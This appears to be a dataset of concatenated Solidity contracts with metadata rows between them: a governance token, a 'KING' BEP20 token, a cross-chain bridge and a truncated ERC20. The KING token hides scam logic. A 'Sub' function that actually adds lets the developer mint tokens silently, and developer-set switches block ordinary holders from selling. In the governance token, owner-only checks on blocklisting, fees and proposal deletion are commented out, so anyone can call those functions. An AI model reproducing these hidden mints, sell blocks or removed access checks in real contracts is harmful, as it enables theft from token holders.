mapping(address => Blocklist) public blocklistUsers;
address[] public blocklist;
bool public isFeeforVoting;
uint256 public FEE;
bool public isFeeforPropsal;
uint256 public PROPOSAL_FEE;
address public NDEX;
uint256 public PASS_PERCENTAGE;
mapping (uint256 => uint256) public passPercentage;
event Votes(address indexed user, uint256 indexed _proposal, uint256 _votes);
modifier onlyProposers() {
require(balanceOf(_msgSender()) >= PROPOSING_RIGHTS || _msgSender() == owner() , "You Don't Owe the Proposing Rights !");
_;
}
modifier onlyVoters() {
require(balanceOf(_msgSender()) >= VOTING_RIGHTS || _msgSender() == owner() , "You Don't Owe the Voting Rights !");
_;
}
function setProposerRightPercent(uint256 _rights) public onlyOwner{
PROPOSING_RIGHTS = _rights;
}
function setVotingRights(uint256 _rights) public onlyOwner{
VOTING_RIGHTS = _rights;
}
function setPassPercentage(uint256 _proposal,uint256 _percentage) public onlyProposers{
Proposal storage prop = _proposals[_proposal];
require(prop.createdBy == msg.sender || msg.sender == owner(), "Proposal : You are not the Creator !");
passPercentage[_proposal] = _percentage;
}
function initialize() public initializer {
__Ownable_init();
_name = "Neo Securities";
_symbol = "NEOS";
_decimals = 6;
_totalSupply = 55000000000;
_balances[msg.sender] = _totalSupply;
PROFIT_PER_SHARE = 0;
SHARE_ON_CREATED[msg.sender]= PROFIT_PER_SHARE;
PROFIT_TOKEN = 0xd7613f4F96d039f9F15B75D51232719D220B047e;
PROPOSING_RIGHTS = 2500e6; // perentage for rights
VOTING_RIGHTS = 1e6; // no of NDEX needed
NDEX = 0xc161804F00C6D301b8A70D9ba6dc2005F263e580; // NDEX token
emit Transfer(address(0), msg.sender, _totalSupply);
}
function setNDEX(address _ndex) public onlyOwner {
NDEX =_ndex;
}
// function toggleVoteFeeCollector(uint256 _fee, bool _isActive) public onlyOwner
function toggleVoteFeeCollector(uint256 _fee, bool _isActive) public {
FEE = _fee;
isFeeforVoting = _isActive;
}
// function toggleProposalFeeCollector(uint256 _fee, bool _isActive) public onlyOwner
function toggleProposalFeeCollector(uint256 _fee, bool _isActive) public {
PROPOSAL_FEE = _fee;
isFeeforPropsal = _isActive;
}
function collectVoteFee() internal{
if(isFeeforVoting && msg.sender != owner()){
require(IBEP20Upgradeable(NDEX).transferFrom(msg.sender,owner(),FEE),"Insufficient Fee Amount for Voting !");
}
}
function collectProposalFee() internal{
if(isFeeforPropsal && msg.sender != owner()){
require(IBEP20Upgradeable(NDEX).transferFrom(msg.sender,owner(),PROPOSAL_FEE),"Insufficient Fee Amount for Proposing !");
}
}
function getBlocklistedUsers() public view returns(address[] memory){
return blocklist;
}
function createProposal(string[] memory _info,uint256 _passPercentage) public onlyProposers {
require(!isUserBlacklisted(msg.sender), "You have been Blacklisted by the Authority !");
collectProposalFee();
passPercentage[_proposals.length] = _passPercentage;
_proposals.push(Proposal({
title: _info[0],
description: _info[1],
createdBy: msg.sender,
isActive: true,
status: false,
isApproved: false,
createdOn: block.timestamp,
upVote: 0,
downVote: 0,
lastUpdated: block.timestamp
}));
}
function closeProposal(uint256 _proposal) public onlyProposers{
Proposal storage prop = _proposals[_proposal];
require(prop.createdBy == msg.sender || msg.sender == owner(), "Proposal : You are not the Creator !");
prop.isActive = false;
prop.status = (prop.upVote + prop.downVote) > 0 ? ((prop.upVote/(prop.upVote + prop.downVote) * 100) >= passPercentage[_proposal]): false;
prop.lastUpdated = block.timestamp;
}
// function addOrRemoveBlocklistedUser(address _address) external onlyOwner
function addOrRemoveBlocklistedUser(address _address) external {
toggleBlocklistedUser(_address);
}
// function approveProposal(uint256 _proposal) external onlyOwner
function approveProposal(uint256 _proposal) external {
Proposal storage prop = _proposals[_proposal];
prop.isApproved = true;
}
function toggleBlocklistedUser(address _address) internal {
if(blocklistUsers[_address].isBlocked){
uint256 blockId = blocklistUsers[_address].id;
blocklist[blockId] = blocklist[blocklist.length - 1];
blocklistUsers[blocklist[blocklist.length - 1]].id = blockId;
blocklistUsers[_address].isBlocked = false;
blocklist.pop();
// subtract from total
if(totalBlockedAmount > 0)
totalBlockedAmount = totalBlockedAmount.sub(balanceOf(_address));
}else{
blocklistUsers[_address].isBlocked = true;
blocklistUsers[_address].id = blocklist.length;
blocklist.push(_address);
// add from total
totalBlockedAmount = totalBlockedAmount.add(balanceOf(_address));
}
}
function isUserBlacklisted (address _address) public view returns (bool){
return blocklistUsers[_address].isBlocked;
}
// function addOrRemoveMultipleBlocklists(address[] calldata _addresses) external onlyOwner
function addOrRemoveMultipleBlocklists(address[] calldata _addresses) external {
for (uint i=0; i<_addresses.length; i++) {
toggleBlocklistedUser(_addresses[i]);
}
}
function getVoteWeightPerUser(address _user) public view returns (uint256) {
return (balanceOf(_user).mul(1e18)).div(totalSupply());
}
function vote(uint256 _proposal,bool _vote) public onlyVoters {
Proposal storage prop = _proposals[_proposal];
require(prop.isActive, "Proposal is Closed by Proposer !");
require(prop.isApproved, "Proposal is not Approved by the Authority !");
require(!isUserBlacklisted(msg.sender), "You have been Blacklisted by the Authority !");
collectVoteFee();
uint256 voteWeight = getVoteWeightPerUser(msg.sender);
if(votes[msg.sender][_proposal].isVoted && votes[msg.sender][_proposal].vote != _vote){
// already voted and changes
votes[msg.sender][_proposal].vote ? prop.upVote -= voteWeight : prop.downVote -= voteWeight;
_vote ? prop.upVote += voteWeight : prop.downVote += voteWeight;
}else if(!votes[msg.sender][_proposal].isVoted){
_vote ? prop.upVote += voteWeight : prop.downVote += voteWeight;
}
prop.lastUpdated = block.timestamp;
votes[msg.sender][_proposal].vote = _vote;
votes[msg.sender][_proposal].isVoted = true;
votes[msg.sender][_proposal].VotedOn = block.timestamp;
emit Votes(msg.sender,_proposal,voteWeight);
}
// function deleteProposal(uint256 _proposal) public onlyOwner
function deleteProposal(uint256 _proposal) public {
_proposals[_proposal] = _proposals[_proposals.length - 1];
_proposals.pop();
}
function getTotalProposals() public view returns (Proposal[] memory){
return _proposals;
}
function getEqualientTokenInverse(uint256 _tokenIn,uint256 _tokenOut,uint256 _amount) public pure returns (uint256){
return _amount.mul(uint256(1)).mul((10**(_tokenIn).sub(_tokenOut)));
}
function pendingProfit(address _user) public view returns (uint256) {
uint256 share = balanceOf(_user);
User storage user = userInfo[_user];
uint256 profitShare = getProfitSharePerUser(_user);
uint256 reward = (share.mul(profitShare).div(1e12)).sub(user.lastRewardedAmount);
return getEqualientTokenInverse(IBEP20Upgradeable(PROFIT_TOKEN).decimals(), _decimals, reward);
}
function claim() public {
require(!isUserBlacklisted(msg.sender), "You have been Blacklisted by the Authority !");
User storage user = userInfo[msg.sender];
uint256 share = balanceOf(msg.sender);
uint256 profitShare = getProfitSharePerUser(msg.sender);
uint256 reward = (share.mul(profitShare).div(1e12)).sub(user.lastRewardedAmount);
reward = getEqualientTokenInverse(IBEP20Upgradeable(PROFIT_TOKEN).decimals(), _decimals, reward);
if(reward > IBEP20Upgradeable(PROFIT_TOKEN).balanceOf(msg.sender)) { reward = IBEP20Upgradeable(PROFIT_TOKEN).balanceOf(msg.sender); }
IBEP20Upgradeable(PROFIT_TOKEN).transfer(msg.sender,reward);
user.lastRewardedAmount = (share.mul(profitShare).div(1e12));
user.lastClaimed = block.timestamp;
}
function withdrawSafe(uint256 _amount) external onlyOwner {
IBEP20Upgradeable(PROFIT_TOKEN).transfer(owner(), _amount);
}
function refreshBlacklist() public onlyOwner {
for(uint i = 0; i < blocklist.length ; i++){
toggleBlocklistedUser(blocklist[i]);
}
PROFIT_PER_SHARE = 0;
}
}
| 126,826 | 657 |
8c219b9b7b8cc280ed3aa22fb0887ccfc32a67d7c7705af5d1ddd1a25c204c1e
| 22,593 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xf8B57de2293fF9FB8484f316a544746D79a64BB7/contract.sol
| 3,436 | 13,269 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KING is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**8 * 10**6;
bool public lock = true;
address public uniSwapV2;
string private _name;
string private _symbol;
uint8 private _decimals = 6;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**8 * 10**6;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function LiquidityTX(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function uniSV2(bool _lock,address _uniSwapV2) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
lock = _lock;
uniSwapV2 = _uniSwapV2;
}
function updateuniSwapRouter(address _router) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
uniSwapRouter = IUniswapV2Router02(_router);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**6;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (!lock){
if(recipient == uniSwapV2 && sender != _excludeDevAddress){
require(amount <= 1, "Transfer amount exceeds the maxTxAmount.");
}
}
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, BURN_ADDRESS, burnAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 253,717 | 658 |
1771d7cb3a4ac22308afb41fdffeeb92f0caa7b14f4bf1030736b862eeab83e3
| 15,367 |
.sol
|
Solidity
| false |
460249880
|
dream-well/jax-bridge
|
be8494290652af9351627fee8e5a76cce2a13050
|
contracts/JxnWjxn2Bridge.sol
| 4,257 | 15,208 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
interface IERC20 {
function mint(address account, uint amount) external;
function transfer(address, uint) external;
}
contract JxnWjxn2Bridge {
uint chainId;
uint public fee_percent = 5e5; // 0.5 %
uint public minimum_fee_amount = 50; // 50 wjxn2
address public admin;
uint public penalty_amount = 0;
address public penalty_wallet;
uint public max_pending_audit_records = 10;
uint public pending_audit_records;
IERC20 public wjxn2 = IERC20(0xe3345c59ECd8B9C157Dd182BA9500aace899AD31);
bool public use_no_gas;
enum RequestStatus {Init, Proved, Rejected, Expired, Verified, Released, Completed}
struct Request {
uint deposit_address_id;
uint amount;
bytes32 txdHash;
bytes32 data_hash;
uint valid_until;
uint prove_timestamp;
address to;
RequestStatus status;
string from;
string deposit_tx_hash;
string deposit_tx_link;
string release_tx_link;
}
string[] public deposit_addresses;
mapping(uint => uint) public deposit_address_requests;
mapping(string => bool) public added_deposit_addresses;
mapping(string => uint) public deposit_address_locktimes;
mapping(string => bool) public deposit_address_deleted;
Request[] public requests;
mapping(address => uint[]) public user_requests;
address[] public auditors;
address[] public verifiers;
address[] public bridge_executors;
mapping(address => uint) public operating_limits;
mapping(address => address) public fee_wallets;
mapping(bytes32 => bool) proccessed_txd_hashes;
event Create_Request(uint request_id, string from, uint depoist_address_id, uint valid_until);
event Prove_Request(uint request_id, string tx_hash);
event Expire_Request(uint request_id);
event Reject_Request(uint request_id);
event Release(uint request_id, address from, uint amount);
event Verify_Data_Hash(uint request_id, string deposit_tx_hash);
event Complete_Release_Tx_Link(uint request_id, string deposit_tx_hash, string release_tx_hash, bytes32 info_hash);
event Update_Release_Tx_Link(uint request_id, string deposit_tx_hash, string release_tx_hash);
event Set_Fee(uint fee_percent, uint minimum_fee_amount);
event Add_Penalty_Amount(uint amount, bytes32 info_hash);
event Subtract_Penalty_Amount(uint amount, bytes32 info_hash);
event Withdraw_By_Admin(address token, uint amount);
constructor() {
admin = msg.sender;
uint _chainId;
assembly {
_chainId := chainid()
}
chainId = _chainId;
penalty_wallet = msg.sender;
}
modifier onlyAdmin() {
require(admin == msg.sender, "Only Admin can perform this operation.");
_;
}
modifier onlyAuditor() {
require(isAuditor(msg.sender), "Only Auditor can perform this operation.");
_;
}
modifier onlyVerifier() {
require(isVerifier(msg.sender), "Only Verifier can perform this operation.");
_;
}
modifier onlyExecutor() {
require(isBridgeExecutor(msg.sender), "Not a bridge executor");
_;
}
modifier noGas() {
uint gas = gasleft();
_;
if(use_no_gas){
payable(msg.sender).transfer(tx.gasprice * (gas - gasleft()));
}
}
function add_deposit_addresses(string[] calldata new_addresses) external onlyAdmin {
for(uint i = 0; i < new_addresses.length; i += 1) {
require(!added_deposit_addresses[new_addresses[i]], "Already added");
deposit_addresses.push(new_addresses[i]);
deposit_address_locktimes[new_addresses[i]] = 0;
added_deposit_addresses[new_addresses[i]] = true;
}
}
function get_free_deposit_address_id() public view returns(uint) {
for(uint i = 0; i < deposit_addresses.length; i += 1) {
if(deposit_address_deleted[deposit_addresses[i]] == false && deposit_address_locktimes[deposit_addresses[i]] == 0)
return i;
}
revert("All deposit addresses are in use");
}
function isValidDepositAddress(uint deposit_address_id) internal view returns(bool) {
return deposit_addresses.length > deposit_address_id &&
!deposit_address_deleted[deposit_addresses[deposit_address_id]] &&
deposit_address_locktimes[deposit_addresses[deposit_address_id]] == 0;
}
function create_request(uint deposit_address_id, uint amount, string memory from) external
{
require(isValidDepositAddress(deposit_address_id), "Invalid deposit address");
require(amount > minimum_fee_amount, "Below minimum amount");
uint request_id = requests.length;
Request memory request;
request.amount = amount;
request.to = msg.sender;
request.from = from;
request.deposit_address_id = deposit_address_id;
deposit_address_requests[request.deposit_address_id] = request_id;
uint valid_until = block.timestamp + 48 hours;
request.valid_until = valid_until;
deposit_address_locktimes[deposit_addresses[request.deposit_address_id]] = valid_until;
requests.push(request);
user_requests[msg.sender].push(request_id);
emit Create_Request(request_id, from, request.deposit_address_id, valid_until);
}
function prove_request(uint request_id, string memory tx_hash) external {
Request storage request = requests[request_id];
require(request.to == msg.sender, "Invalid account");
require(request.status == RequestStatus.Init, "Invalid status");
if(request.valid_until < block.timestamp) {
request.status = RequestStatus.Expired;
request.prove_timestamp = block.timestamp;
emit Expire_Request(request_id);
return;
}
bytes32 txdHash = keccak256(abi.encodePacked(tx_hash));
require(proccessed_txd_hashes[txdHash] == false, "Invalid tx hash");
request.txdHash = txdHash;
request.status = RequestStatus.Proved;
request.prove_timestamp = block.timestamp;
request.data_hash = _get_data_hash(request_id,
request.deposit_address_id,
request.amount,
request.to,
request.from,
tx_hash);
request.amount = 0;
emit Prove_Request(request_id, tx_hash);
}
function _get_data_hash(uint request_id,
uint deposit_address_id,
uint amount,
address to,
string memory from,
string memory deposit_tx_hash) pure public returns (bytes32) {
return keccak256(abi.encodePacked(request_id,
deposit_address_id,
amount,
to,
from,
deposit_tx_hash));
}
function verify_data_hash(uint request_id,
uint amount,
uint deposit_address_id,
address to,
string memory from,
string memory deposit_tx_hash,
bytes32 data_hash) external noGas onlyVerifier {
Request storage request = requests[request_id];
require(request.status == RequestStatus.Proved, "Invalid status");
require(data_hash == request.data_hash && request.data_hash == _get_data_hash(request_id,
deposit_address_id,
amount,
to,
from,
deposit_tx_hash), "Incorrect data");
request.deposit_tx_hash = deposit_tx_hash;
request.status = RequestStatus.Verified;
emit Verify_Data_Hash(request_id, deposit_tx_hash);
}
function reject_request(uint request_id) external noGas onlyVerifier {
Request storage request = requests[request_id];
require(request.status == RequestStatus.Init ||
request.status == RequestStatus.Proved ||
request.status == RequestStatus.Verified, "Invalid status");
request.status = RequestStatus.Rejected;
emit Reject_Request(request_id);
}
function release(uint request_id,
uint amount,
uint deposit_address_id,
address to,
string memory from,
string memory deposit_tx_hash) external noGas onlyExecutor {
Request storage request = requests[request_id];
require(operating_limits[msg.sender] >= amount, "Amount exceeds operating limit");
require(request.status == RequestStatus.Verified, "Invalid status");
require(request.data_hash == _get_data_hash(request_id,
deposit_address_id,
amount,
to,
from,
deposit_tx_hash), "Incorrect data");
require(proccessed_txd_hashes[request.txdHash] == false, "Txd hash already processed");
require(max_pending_audit_records > pending_audit_records, "Exceed maximum pending audit records");
pending_audit_records += 1;
deposit_address_locktimes[deposit_addresses[request.deposit_address_id]] = 0;
request.amount = amount;
request.status = RequestStatus.Released;
proccessed_txd_hashes[request.txdHash] = true;
uint fee_amount = request.amount * fee_percent / 1e8;
if(fee_amount < minimum_fee_amount) fee_amount = minimum_fee_amount;
wjxn2.mint(address(this), request.amount);
wjxn2.transfer(request.to, request.amount - fee_amount);
if(penalty_amount > 0) {
if(penalty_amount > fee_amount) {
wjxn2.transfer(penalty_wallet, fee_amount);
penalty_amount -= fee_amount;
}
else {
wjxn2.transfer(penalty_wallet, penalty_amount);
wjxn2.transfer(fee_wallets[msg.sender], fee_amount - penalty_amount);
penalty_amount -= penalty_amount;
}
}
else {
wjxn2.transfer(fee_wallets[msg.sender], fee_amount);
}
operating_limits[msg.sender] -= amount;
emit Release(request_id, request.to, request.amount - fee_amount);
}
function complete_release_tx_link(uint request_id,
uint amount,
uint deposit_address_id,
address to,
string memory from,
string memory deposit_tx_hash,
string memory deposit_tx_link,
string memory release_tx_link,
bytes32 info_hash) external noGas onlyAuditor {
Request storage request = requests[request_id];
require(request.status == RequestStatus.Released, "Invalid status");
require(request.data_hash == _get_data_hash(request_id,
deposit_address_id,
amount,
to,
from,
deposit_tx_hash), "Incorrect data");
request.status = RequestStatus.Completed;
request.deposit_tx_link = deposit_tx_link;
request.release_tx_link = release_tx_link;
pending_audit_records -= 1;
emit Complete_Release_Tx_Link(request_id, deposit_tx_link, release_tx_link, info_hash);
}
function update_release_tx_link(uint request_id, string memory deposit_tx_link, string memory release_tx_link) external onlyAdmin {
Request storage request = requests[request_id];
request.deposit_tx_link = deposit_tx_link;
request.release_tx_link = release_tx_link;
emit Update_Release_Tx_Link(request_id, deposit_tx_link, release_tx_link);
}
function get_user_requests(address user) external view returns(uint[] memory) {
return user_requests[user];
}
function add_auditor(address auditor) external onlyAdmin {
for(uint i = 0; i < auditors.length; i += 1) {
if(auditors[i] == auditor)
revert("Already exists");
}
auditors.push(auditor);
}
function delete_auditor(address auditor) external onlyAdmin {
uint i = 0;
for(; i < auditors.length; i += 1) {
if(auditors[i] == auditor)
break;
}
require(i < auditors.length, "Not an auditor");
auditors[i] = auditors[auditors.length - 1];
auditors.pop();
}
function isAuditor(address auditor) public view returns(bool) {
uint i = 0;
for(; i < auditors.length; i += 1) {
if(auditors[i] == auditor)
return true;
}
return false;
}
function add_verifier(address verifier) external onlyAdmin {
for(uint i = 0; i < verifiers.length; i += 1) {
if(verifiers[i] == verifier)
revert("Already exists");
}
verifiers.push(verifier);
}
function delete_verifier(address verifier) external onlyAdmin {
uint i = 0;
for(; i < verifiers.length; i += 1) {
if(verifiers[i] == verifier)
break;
}
require(i < verifiers.length, "Not an verifier");
verifiers[i] = verifiers[verifiers.length - 1];
verifiers.pop();
}
function isVerifier(address verifier) public view returns(bool) {
uint i = 0;
for(; i < verifiers.length; i += 1) {
if(verifiers[i] == verifier)
return true;
}
return false;
}
function add_bridge_executor(address executor, uint operating_limit, address fee_wallet) external onlyAdmin {
for(uint i = 0; i < bridge_executors.length; i += 1) {
if(bridge_executors[i] == executor)
revert("Already exists");
}
bridge_executors.push(executor);
operating_limits[executor] = operating_limit;
fee_wallets[executor] = fee_wallet;
}
function isBridgeExecutor(address executor) public view returns(bool) {
uint i = 0;
for(; i < bridge_executors.length; i += 1) {
if(bridge_executors[i] == executor)
return true;
}
return false;
}
function set_operating_limit(address executor, uint operating_limit) external onlyAdmin {
require(isBridgeExecutor(executor), "Not a bridge executor");
operating_limits[executor] = operating_limit;
}
function set_fee(uint _fee_percent, uint _minimum_fee_amount) external onlyAdmin {
fee_percent = _fee_percent;
minimum_fee_amount = _minimum_fee_amount;
emit Set_Fee(_fee_percent, _minimum_fee_amount);
}
function free_deposit_addresses(uint from, uint to) external onlyAdmin {
uint request_id;
for(uint i = from; i < deposit_addresses.length && i <= to ; i += 1) {
if(deposit_address_locktimes[deposit_addresses[i]] < block.timestamp) {
request_id = deposit_address_requests[i];
if(requests[request_id].status == RequestStatus.Init){
requests[request_id].status = RequestStatus.Expired;
deposit_address_locktimes[deposit_addresses[i]] = 0;
}
}
}
}
function delete_deposit_addresses(uint[] calldata ids) external onlyAdmin {
uint id;
for(uint i = 0; i < ids.length; i += 1) {
id = ids[i];
require(deposit_address_locktimes[deposit_addresses[id]] == 0, "Active deposit address");
deposit_address_deleted[deposit_addresses[id]] = true;
}
}
function set_penalty_wallet(address _penalty_wallet) external onlyAdmin {
penalty_wallet = _penalty_wallet;
}
function set_admin(address _admin) external onlyAdmin {
admin = _admin;
}
function get_new_request_id() external view returns(uint) {
return requests.length;
}
function get_deposit_addresses() external view returns(string[] memory) {
return deposit_addresses;
}
function add_penalty_amount(uint amount, bytes32 info_hash) external noGas onlyAuditor {
penalty_amount += amount;
emit Add_Penalty_Amount(amount, info_hash);
}
function subtract_penalty_amount(uint amount, bytes32 info_hash) external noGas onlyAuditor {
require(penalty_amount >= amount, "over penalty amount");
penalty_amount -= amount;
emit Subtract_Penalty_Amount(amount, info_hash);
}
function set_use_no_gas(bool flag) external onlyAdmin {
use_no_gas = flag;
}
function withdrawByAdmin(address token, uint amount) external onlyAdmin {
IERC20(token).transfer(msg.sender, amount);
emit Withdraw_By_Admin(token, amount);
}
fallback() external payable {
}
receive() external payable {
}
function withdraw_ETH(uint amount) external onlyAdmin {
payable(msg.sender).transfer(amount);
}
}
| 170,823 | 659 |
7ac2de76fa2444798df5ed5540958ee0b6ebe8661ca7449d054f6fd3a46a3c37
| 29,029 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xA6025eC5cc294546EB9c56c7f0E460104eb6Dc3C/contract.sol
| 5,121 | 18,327 |
// http://www.goodboi.finance
// https://t.me/goodboitoken
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
